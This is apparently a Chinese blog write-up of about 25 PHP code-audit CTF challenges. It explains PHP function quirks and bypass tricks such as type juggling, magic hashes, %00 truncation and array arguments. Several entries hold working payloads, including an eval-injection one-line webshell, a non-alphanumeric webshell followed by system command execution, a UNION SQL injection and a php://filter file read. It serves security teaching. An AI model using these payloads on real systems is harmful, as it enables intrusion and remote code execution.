php代码审计练习
challenge1
函数解析:
bin2hex():
函数把 ASCII 字符的字符串转换为十六进制值。字符串可通过使用 pack() 函数再转换回去。
hex2bin() :
函数把十六进制值的字符串转换为 ASCII 字符。
strrev() :
函数反转字符串。
要想得到flag需要把字符串反解码,于是我们可以通过
1 | <?php |
得到flag{582a0f2c7e302244b110cc461f5cb100}
challenge2
要想得到flag,需要满足输入的时间介于 7 776 000和5 184 000之间,然后就会让系统等待这么久出现flag,当然我们不能等待这么久,所以可以选择科学技术法来绕过。php在转换科学计数法的时候,遇到的e会认为是字符,只会截取前面的数字,所以这里我们
1 | payload=?time=6e6 |
就可以只需要等待6秒,绕过判断。
challenge3
打开环境发现work harder!访问源代码发现提示challenge3.txt
于是访问
发现源代码:
函数解析:
file_get_contents():
file_get_contents — 将整个文件读入一个字符串。
这个函数是可以绕过的,绕过方式有多种:
使用php://input伪协议绕过,将要get的参数?xxx=php://input。然后用post方法传入想要的file_get_contents()函数返回的值。
使用data://伪协议绕过
将url改为:?xxx=data://text/plain;base64,(base64编码后的内容)想要file_get_contents()函数返回的值的base64编码。
或者将url改为:?xxx=data:text/plain,(url编码的内容)
stripos() :
查找要查找的字符在字符串中第一次出现的位置。
语法:
1 | stripos(string,find,start) |
string,必须,规定要搜索得字符串。
find,必须,规定要查找得字符。
start,可选,规定开始搜索得位置。
(搜索不区分大小写)
eregi():
1 | eregi(string pattern, string string, [array regs]); |
eregi()函数在一个字符串搜索指定的模式的字符串。搜索不区分大小写,如果匹配成功,就返回true,否则flase,搜索字母的字符大小写不敏感
(eregi和ereg的区别就是大小写是否敏感)
该函数有两种绕过方式:
数组绕过:ereg是处理字符串,传入数组之后,ereg是返回null。
%00绕过:ereg函数读到%00的时候,就截止了。
substr():
1 | substr($string, $start [, $length]) |
string是需要截取的字符串,该字符串至少含有一个字符。
start,是截取字符串的起始位置。
length,表示截取字符串的长度。
这里要想得到flag,需要满足条件:
1 | if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) |
我们知道data数据可以通过$a伪协议绕过,接下来看如何满足eregi的条件:
- 111跟后面的substr($b,0,1)组合起来要是1114的子集。(即可以等于1114,也可以不等于1114,只等于111。)
- $b的第一个字符不能是4。那么我们就只能满足于eregi(“111”,“1114”)这个条件。所以我们可以使用%00截断eregi函数。同时%00不会影响strlen()函数
所以我们可以构造以下payload:
1 | ?id=b&a=php://input&b=%0012345 |
challenge4
函数解析:
var__dump()
var__dump函数用于输出变量相关信息。
此函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数据将递归展开值,通过缩进显示其结构。
eval():
eval()函数把字符串按照php代码来计算,该字符串必须是合法的php代码,且必须以分号结尾。
所以我们的思路是通过构造payload,通过执行eval(“var_dump($a)”)的命令,来上传webshell以此控制后台。
构造payload为:
1 | ?hello=);eval($_POST['A']);%2f%2f |
var_dump($a);后的结果为
1 | string(22) ");eval($_POST['A']);//" |
和eval()函数拼合后的代码为:
1 | eval("string(21) ");eval($_POST['A']);//""); |
于是便成功构造了一句话木马
(ps:%2f%2f是为了注释后面的语句!)
然后我们就可以通过蚁剑连接即可。
最后找到flag在lib.php文件下
challenge5
函数解析:
sha1():
sha1函数用于计算字符串的sha-1序列。
1 | sha1(string,raw) |
string为规定要计算的字符串。
raw为规定要十六进制或者二进制输出格式:
true,原始20字符二进制格式。
flase,(默认)40字符十六进制数。
该函数可被绕过,该函数无法处理数组,该函数遇到数组时,将会报错并且返回flase,那么
1 | sha1($_GET['name']) === sha1($_GET['password'] |
就会完成flase===flase,那么就满足了条件可以出flag。
所以构造payload:?name[]=1&?password[]=0
然后求出flag:
challenge6
查看网页源代码可以发现source.txt,点进去发现代码如下:
这里从网上摘抄一些php与mysql相连接的函数:
1 | mysql_connect()-建立数据库连接 |
函数解析:
mysql_fetch_array()
mysql_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有
返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false。
1 | mysql_fetch_array(data,array_type) |
array_type规定返回哪种结果。可能的值:
- MYSQL_ASSOC - 关联数组
- MYSQL_NUM - 数字数组
- MYSQL_BOTH - 默认。同时产生关联和数字数组
strcasecmp()函数
strcasecmp() 函数比较两个字符串。(不区分大小写)
1 | strcasecmp(string1,string2) |
string1,string2都是必须的,规定要比较的字符串。
返回值:
- 0 - 如果两个字符串相等
- <0 - 如果 string1 小于 string2
- >0 - 如果 string1 大于 string2
这里可以发现要想得到flag,需要满足
1 | if (($row[pwd]) && (!strcasecmp($pass, $row[pwd]))) |
所以我们需要构造$row[pwd]和$pass字符串长度相等。我们可以找一个已经知道md5的键和值。
用户名处的sql注入语句为:
1 | select pwd from interest where uname='$user' |
可以构造sql语句为:
1 | user=1' union select "0e830400451993494058024219903391" |
执行的语句为:
1 | select pwd from interest where uname='1' union select "0e830400451993494058024219903391"` |
(ps:1这个地方填任意东西都可以,不填也可以。)
即此时$row[username]=1 $row[pwd]=0e830400451993494058024219903391 而md5(QNKCDZO)就是该md5的原值。
所以我们可以通过post方式提交以上payload:
1 | user=1' union select "0e830400451993494058024219903391"#&pass=QNKCDZO |
challenge7
打开环境后,扫一下目录就可以发现challenge7.txt文档,然后就可以看到源代码
函数解析:
这道题一看就是关于变量覆盖的问题。
要想得到flag,需要满足以下条件1.post语句中有flag。同时我们可以通过第二个foreach函数把原来的$flag直接覆盖掉。然后可以通过echo语句输出被修改过的flag。然后结合输出点die($200),结合第一个foreach功能,我们可以把原来的$ 200的值覆盖为原来flag的值。
1 | payload如下: |
challenge8
函数解析:
rand():
rand()函数返回随机整数
1 | rand(min,max) |
file_put_contents() :
file_put_contents() 函数把一个字符串写入文件中。
1 | file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) |
1 |
|
这道题的主要目的就是拿到webshell找到flag,但是生成webshell的文件名是随机的,并且我们提交的参数c,它的值不能是字母数字或者是waf中的其他值。
那么问题来了,我们应该如何构造不包含字母和数字的webshell。这里需要引用被人的技巧。
总结起来如下:
- 异或:通过非字母数字进行异或,得到所需字母
- 自增:通过对php数组与数组或者数组与字符串进行拼接,php会强制转换类型,得到Array,取a进行自增,得到所需字符
- 取反:利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如’和’{2}的结果是”\x8c”,其取反即为字母s
我们选择用自增的方式来做这道题。
解释一下自增:
所以第一步构造上传文件:
1 |
|
(ps:php变量在有可能引起程序混淆的情况下是可以加大括号来表示这是一个变量。)
由于+号在传送中会被解释为空格,所以需要提前url编码为%2b,然后还要去掉上面webshell的空格。换行写入文件的payload如下:
1 | ?c=%24_%3d%5b%5d.%5b%5d%3b%24__%3d%27%27%3b%24_%3d%24_%5b%27%27%5d%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__%3d%24_.%24__%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24%7b%27_%27.%24__%7d%5b_%5d(%24%7b%27_%27.%24__%7d%5b__%5d)%3b |
1 | 这就就是把参数保存在upload文件夹下的文件中。此时传入的就是$_GET['_']($_GET['__']);,写入的也是 $_GET['_'] ($_GET['__']) |
1 | $_GET['_']($_GET['__'])这个的意思是函数名和函数的参数可控 |
此时我们就利用了assert函数,并且可以向他传入参数phpinfo()
(ps:assert的用法:
编写代码时,我们总是会做出一些假设,断言就是用于在代码中捕捉这些假设,可以将断言看作是异常处理的一种高级形式。程序员断言在程序中的某个特定点该的表达式值为真。如果该表达式为假,就中断操作。)
接下来是第二步:传参
因为第一步我们已经成功把$_GET‘_’写入到文件中,所以第二步就是需要传参。
通过点击超链接的webshell进入文件,传入参数:
1 | ?_=system&__=cat%20../flag.php` |
右键查看源代码,获取flag。
challenge10
1 |
|
函数解析:
ord():
1 | ord(string) |
ord()函数返回字符串的第一个字符的ascii值。
要想得到flag,我们可以知道,noother_says_correct函数不允许我们传入1到9的数字。并且要求我们传入的数字与3735929054进行弱比较,如果成功则返回flag。
这里我们要谈到php弱比较的问题。
弱类型与强类型
强类型是指强制数据类型定义的语言。也就是说,一旦一个变量被指定了某个数据类型,如果不经过强制转换,那么它就永远是这个数据类型。
弱类型就是可以让数据类型互相转换。
“==”和“===”的区别
这两个都是用来比较两个数值是否相等的操作符,但是弱比较不会强制要求数据类型一致。
“==”类型转换的规则
1 | 1、字符串和数字比较,字符串会被转换成数字。 |
于是我们可以运用第四条。将3735929054转换成hex数,它的hex值为0xdeadc0de,不仅可以绕过函数过滤条件,也能满足等于3735929054。
所以我们提交post请求:answer=0xdeadc0de,这样就可以出现flag了
challenge11
1 |
|
函数解析:
preg_match():
1 | int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] ) |
preg_match 函数用于执行一个正则表达式匹配。
$pattern:要搜索的模式,字符串形式。
$subject: 输入字符串。
我们可以看到题目使用了preg_match(‘/^\w*$/‘,$a )进行正则匹配,要求hello的输入必须为数字和字母的组合。接下来发现eval(“var_dump($$a);”); 运用可变变量可以通过全局变量$GLOBALS输出所有可用的全部变量。
所以我们可以构造payload为:
1 | ?hello=GLOBALS |
由此得到flag
challenge12
1 |
|
此题比上一题还要简单一些,直接通过GLOBALS全局函数就好了
1 | payload=?hello=$GLOBLAS |
challenge13
1 |
|
我们可以看到这次题目要想得到flag
需要session
的nums
值大于等于10,只有当value
参数的前两位等于whoami
的值并且value
参数MD5
加密后的值的5-9位都要是0才能让nums
加1,nums
初始为0,session
超时时间为120s
,除了第一次以外每次请求都会得到下一次的whoami
。因此可以得到爆破思路:根据得到的whoami
值爆破得到md5
加密后5-9位都为0的value
值并提交得到下一个whoami
值,直到10次以后输出flag。
1 | import requests |
执行脚本就可以得到flag:
challenge14
1 |
|
可以看到代码直接把提交的代码进行包含,所以一定存在文件包含漏洞。想到可以使用php伪协议来做这道题。
通过phpinfo()可以查询到,页面允许远程包含
于是输入payload:
1 | ?path=php://filter/read=convert.base64-encode/resource=flag.php |
回显如下:
进行base64解码可以知道flag为:
这里对ctf中需要注意phpinfo的信息做一些补充:
1.配置作用类
allow_url_fopen =On(允许打开URL文件,预设启用)
allow_url_fopen =Off(禁止打开URL文件)
allow_url_include =Off(禁止引用URL文件,新版增加功能,预设关闭)
allow_url_include =On(允许引用URL文件,新版增加功能)
一旦我们看到allow_url_include是打开的,就可以做很多事情了,例如php伪协议执行任意命令,访问文件,远程包含shell等。
2.open_basedir
这个配置选项可以将访问限制在某个目录下
这个意思是无限制访问。
用冒号可以设置多个目录
3.disable_functions
通过这个选项可以查看是否禁用了一些函数。列如exec等等。
4.session
可以看session的存储路径,一般在session包含中用到。
challenge15
1 |
|
我们可以看到代码中,程序会访问url中的$file
参数,然后写入到$path
文件中。例如当访问:
1 | http://192.168.137.129:23125/?file=http://127.0.0.1/index.php&path=tmp.txt |
challenge16
1 |
|
这道题可以知道要想得到flag需要绕过以下几个条件:
1 | 1.hihi的参数需要满足全部是由字母和数字的组合。 |
我们可以想到,ereg函数是可以通过%00截断。参数长度小于11,最长就是10,并且因为要包括特殊字符,所以要想满足数值大于99999999就可以采用科学技术法
于是构造payload:
1 | POST: |
得到flag
challenge17
1 |
|
函数解析:
file_exists():
file_exists() 函数检查文件或目录是否存在。
1 | file_exists(path) |
path 必须,规定要检查的路径
这里还需要了解php的全局变量$_SERVER
阅读源码可以发现,这道题是要通过die(flag)输出我们想要的flag值,为了让die($flag)顺利执行,需要绕过上面的各种验证。
^_^参数的值不能有 . % 0-9数字 http(s) ftp talent关键字。
file_exists需要寻找的文件必须不存在,但是file_get_contents却能够读到文件的内容。
file_get_contents读到的内容必须为unicode的笑脸。
$_SERVER[‘QUERY_STRING’]会读取出来
1
^_^=....(...表示还没有填写的payload)
但是他要求不能出现**_**。
$_SERVER[‘QUERY_STRING’]运行实例:
这里我就抄了网上的payload,因为确实不知道,而且也get了新知识。
当.或者[]之类的符号作为参数的key的时候,会被php改写为_。
file_get_contents可以获取远程数据,但常用网络协议已经被过滤了,所以需要选择其他协议。这里可以选择用data协议。并且file_exists对于data指向内容判断为不存在。
所以最终构造的payload为:
1 | ?^.^=data://text/plain;charset=unicode,(●'◡'●) |
提交得到flag。
challenge18
打开时一个登录框,试了一下不管填写什么都显示user错误,说明思路不在这儿。
然后扫描网站意外发现了challenge18.php~这个文件,获得了主要代码
1 |
|
函数解析
strcmp():
strcmp()函数比较两个字符串。
1 | strcmp(string1,string2) |
string1,必须,规定要比较的第一个字符串。
string2,必须,规定要比较的第二个字符串。
(ps:strcmp和strcasecmp的区别在于是否大小写敏感)
该函数在php版本5.3之前,当这个函数接收到了不符合的类型,这个函数将会发生错误,并且返回0.也就是说,虽然报了错,但会判断其相等。
这里可以知道要想得到flag,我们需要
is_numerci():
is_numeric()判断变量是否为数字或者数字字符串,不仅检查10进制,16进制也可以。
(ps:is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。所以,查看函数发现该函数对对于第一个空格字符会跳过空格字符判断,接着后面的判断!)
要想得到flag,需要满足以下条件:
- if(@strcmp($_POST[‘user’],$USER))//USER是被隐藏的复杂用户
- md5(user)===md5(password)
- id不能等于字符串’72‘且必须为数字,并且不能出现空字符.
但是有要求值为72。
第一个条件可以使用数组绕过,第二个条件本来我想通过两个开头0e的md5来绕过,但是试了几次发现不行,后头查证这里===强等于是不能用md5碰撞绕过的。所以还是需要通过数组绕过。第三个条件我们可以通过十六进制绕过。
所以提交payload=
1 | user[]=1&name[]=2&password[]=1&id=0x48&login=Check |
成功获得flag。
challenge19
1 |
|
函数解析:
strlen():
1 | strlen(string) |
string,必须,规定要检查的字符串。
可以知道要想得到flag,需要让$sss的值等于数值0x666,但是又不能等于字符串’0x666’,并且$sss只能包含数字,而且要求$sss的长度必须等于666。(需要创建一个长度为666,只包含0-6的数字,数值上等于0x666且不等于字符串‘0x666’)
所以我们想到既然静止了16进制,那么我们可以采用其他进制来满足条件,这里使用八进制来绕过。所以我们可以提交payload为:
1 | ?sss=0000...(此处总共有662个0)3146 |
要想在浏览器里面提交662个0太麻烦了,直接选择用python来做
脚本如下:
得到flag
challenge20
1 |
|
函数解析:
empty():
empty() 函数用于检查一个变量是否为空
1 | bool empty ( mixed $var ) |
$var:待检查的变量。
这道题要想得到flag,需要满足如下条件:
传进去的user变量和里面内置的$user变量必须都为数组,且值相等。
并且传进去的user变量它的第一个索引值不能为admin。
这道题最先我也不知道怎么做,查了网上后有人提示要用数组溢出。
经过我的查证,php老版本的时候会有这样的一个问题,这个问题被归为一个bug.
1 | "var_dump([0 => 0] === [0x100000000 => 0]);" |
以下是详细版本信息
即超过int数据类型边界的数字,会自动转化成为0。所以我们可以构造payload为
1 | ?user[0x100000000]=admin&user[1]=xxoo |
得到flag
challenge21
1 |
|
这道题一看源码我是蒙蔽的,这些正则表达式我根本看不懂,所以搜集资料如下:
要想得到flag,需要满足以下条件:
- preg_match(‘/^[[:graph:]]{12,}$/‘, $password)
所提交的password必须满足可见字符 超过12个
- $reg = ‘/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/‘;
if (6 > preg_match_all($reg, $password, $arr))
所提交的password里,把连续的大写、小写、数字、符号作为一段,至少要分6段。比如说a12SD+io8可以分成a 12 SD + io 8这六段。
- 大写、小写、数字、符号这四种类型至少要出现三种。
- 最后字符串要等于42。
但是我还不是不知道怎么做,无奈只有看答案了hhh
首先要让一个字符串等于42,很容易想到16进制。
1 | var_dump('42'=='0x2A'); |
输出为bool(true),可见0x2A已经符合了正则3,并且要让他符合正则1也很容易,就在前面补0就好,但是正则2就不好办了,因为16进制前后不管加什么符号或者小数点,都会破坏相等时进行的转换。这时候根据网上查找的资料:
1 | var_dump("1" == "01"); // 1 == 1 -> true |
于是想到可以用420e-1(科学计数法表示42,然后通过加很多个0来完成正则表达式1,用小数点.来符合条件2)
所以payload可以等于
1 | password=420.00000e-1 |
提交得到flag。
challenge22
1 |
|
函数解析:
htmlspecialchars():
把预定义的字符转换为html实体。
预定义的字符是:
- & (和号) 成为 &
- “ (双引号) 成为 "
- ‘ (单引号) 成为 '
- < (小于) 成为 <
- > (大于) 成为 >
1 | htmlspecialchars(string,quotestyle,character-set) |
string 必须,规定要转换的字符串。
quotesyle,可选,规定如何编码单引号和双引号
character-set 可选。字符串值。规定要使用的字符集。
根据源码我们可以发现要想得到flag,我们需要知道要让提交的md5==经过md5加密后的md5,但是这样的字符串经过查证根本不存在。于是我们想到可以用都是0e开头的字符串来做这个,这个字符串经过md5加密后仍然是用0e开头,那么这个字符串就可以绕过这个条件。(这里拿出一个我收藏的满足条件的字符串:0e18bb6e1d5c2e19b63898aeed6b37ea)所以提高payload
1 | ?md5=0e18bb6e1d5c2e19b63898aeed6b37ea |
发现不行,我猜测是因为后端不能输入这么长吧
于是就想办法写一个脚本来完成爆破这个字符串。
1 | import hashlib |
最后爆出来,可以知道
md5=0e215962017
于是提交payload
1 | md5=0e215962017 |
challenge23
1 |
|
函数解析
intval():
intval()函数用于获取变量的整数值。intval()函数通过使用指定的进制base转换(默认是十进制),返回变量var的integer数值。intval()不能用于object,否则会产生错误并且返回1.
1 | int intval ( mixed $var [, int $base = 10 ] ) |
$var:要转换成integer的数量值。
这道题是一个综合的考题,需要满足4个条件,那么我们如何进行绕过呢?
1.key1的file_get_contents函数。
file_get_contents函数是可以通过php伪协议绕过的,所以我们可以使用在key1处填写php://input
之后提交Hello hacker!来绕过
2.key2的条件要求md5后的key2值大于666666*666666。意思是我们需要找一个字符串,散列值全部为数字这里有两种绕过法
- 就是找到这么一个字符串,这里提供1518375.
- 就是md5后的散列值满足科学技术法,这里也提供一个字符串skwerl11
于是这样可以绕过
3.key3他是需要key3的值转换成int之后小于666,同时需要原始的值等于666
那么如何绕过这个呢?
这里我们可以利用intval函数不能转换字符串的方式。
在转换字符串的时候,会返回0
但是一个字符串要与int作比较的时候,他会首先讲字符串转换成整数,所以以下截图成立:
于是我们可以将key3填入’0x29a‘
- 就是满足intval($k3+$k4)<666这个条件
这个可以使用整数溢出的方法来绕过
可以简单的总结为:
所以我们可以使用这个原理,让转换的数超过限定的长度,这样就会转为0绕过限制。所以填写key4=99999999999999999999999999999;
这样我们的payload就构成了
1 | ?key1=php://input&key2=1518375&key3=’0x29a‘&key4=99999999999999999999999999999999999999999999999999 |
但是我们发现没有回显,我们怀疑是key3进入后台的时候会自动转化为字符串。所以在尝试一下把引号去掉。
1 | key1=php://input&key2=1518375&key3=0x29a&key4=99999999999999999999999999999999999999999999999999 |
于是得到flag{4rvfadsadaczcfdhfd}
ps:感觉intval这个函数真的挺坑人的。
challenge24
1 |
|
函数解析
array_search():
array_search() 函数在数组中搜索某个键值,并返回对应的键名。
1 | array_search(value,array,strict) |
array_search() 函数与 in_array() 一样,在数组中查找一个键值。如果找到了该值,匹配元素的键名会被返回。如果没找到,则返回 false。
value,必须,规定需要搜索的键值。
array,必须,规定要被搜索的数组。
1 | $a=(array)json_decode(@$_GET['foo']); |
这一个首先要求我们传入的foo,经过一次json_decode,然后转换成araay。判断$a[“bar1”]是否满足is_numeric,如果不满足则结束进程。接下来又判断$a[“bar1”]是否大于2016。利用php的弱类型比较,我们可以使用 $a[“bar1”]=2017a来比较,它会判断这个是字符串,不是数字。接下来在比较>2016时,他会自动转换成2017>2016所以满足上述条件。
1 | if(is_array(@$a["bar2"])){ |
接下来,他要求的时bar2是一个数组,并且里面的元素格书必须为5个,且$a[‘bar2’]/[0]也是数组.
所以我们可以填写: $a[‘bar2’]=[[],2,3,4,5]
对于$pos = array_search(“nudt”, $a[“a2”]);,它会搜索”nudt”在$a[“a2”]中的位置,所以我们需要设置
$a[“a2”]=”nudt”,若没有找到,则返回false。
所以满足上面两个条件的综合payload为:
1 | foo={"bar1":"2017a","bar2":[[],2,3,4,5],"a2":["nudt"]} |
1 | $c=@$_GET['cat']; |
首先开头将使用strcmp()函数比较两个字符串。这里通过之前可以知道,strcmp()函数当比较数组和字符串的时候,会返回null,而且而且数组array也不会等于字符串,所以我们可以把cat[1]设置为一个数组。接下来用eregi对拼接后的字符串$d.$c[0]进行正则匹配。如果匹配到了就要结束,而下一步又要求拼接的字符串中又要字符串htctf2016
。这里可以使用eregi的截断漏洞,在它开头的时候截断掉就好了。
并且
1 | strpos(($c[0].$d), "htctf2016")?$v3=1:NULL; |
还要求htctf2016不能出现在开头。
所以我们可以构建payload为:
1 | $dog=%00&cat[0]=ahtctf2016&cat[1][]= |
综上的综合payload为:
1 | ?foo={"bar1":"2017e","bar2":[[],2,3,4,5],"a2":["nudt"]}&cat[0]=ahtctf2016&cat[1][]=&dog=%00 |
challenge25
1 |
|
函数解析
urldecode():
urldecode()解码url字符串函数
1 | String urldecode(string %str) |
str 要解码的字符串。
explode()函数
explode()函数把字符串打散为数组
1 | explode(separator,string,limit) |
separator 必须,规定在哪里分割字符串。
string 必须,规定要分割的字符串。
limit 可选,规定所返回的数组元素的数目。
parse_url():
本函数解析一个url并返回一个关联数组,包含在url中出现的各种组成部分。
1 | array parse_url(string %url,[$component]) |
$url,要解析的url参数,无效的字符串用_代替。
指定 PHP_URL_SCHEME、 PHP_URL_HOST、 PHP_URL_PORT、 PHP_URL_USER、 PHP_URL_PASS、 PHP_URL_PATH、PHP_URL_QUERY 或 PHP_URL_FRAGMENT 的其中一个来获取 URL 中指定的部分的 string。 (除了指定为PHP_URL_PORT 后,将返回一个 integer 的值)。
组成部分包含有:
- scheme – 如 http
- host 域名
- port 端口
- pass
- path 路径
- query – 在问号 ? 之后
- fragment – 在散列符号 # 之后
返回值:
对严重不合格的url,parse_url()可能会返回FALSE
如果省略了component参数,将返回一个关联数组array。
示例:
1 |
|
这里的过滤条件是:
1 | if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){ |
即我们需要传入?do_you_want_flag=yes这个参数和值,但是因为正常传入的话,会被parse_url()这个函数给过滤掉,所以我们怎么办呢?就是让这个函数出错,前面提到过对严重不合格的url,parse_url()可能会返回FALSE。就可以让这个函数出错不进行检测。于是我们传入一个不合法的url。
所以payload为:
1 | http://192.168.137.129:23135///?do_you_want_flag=yes |
得到flag:
同时还可以使用另外一个payload:
1 | http://192.168.137.129:23135//?do_you_want_flag=yes |
这里两个/
和三个/
是有不同区别的,三个/
是让这个函数报错,返回false,而两个/
会让函数认为这是相对位置,所以会把?do_you_want_flag认为是url_path部分,也可以进行绕过该函数。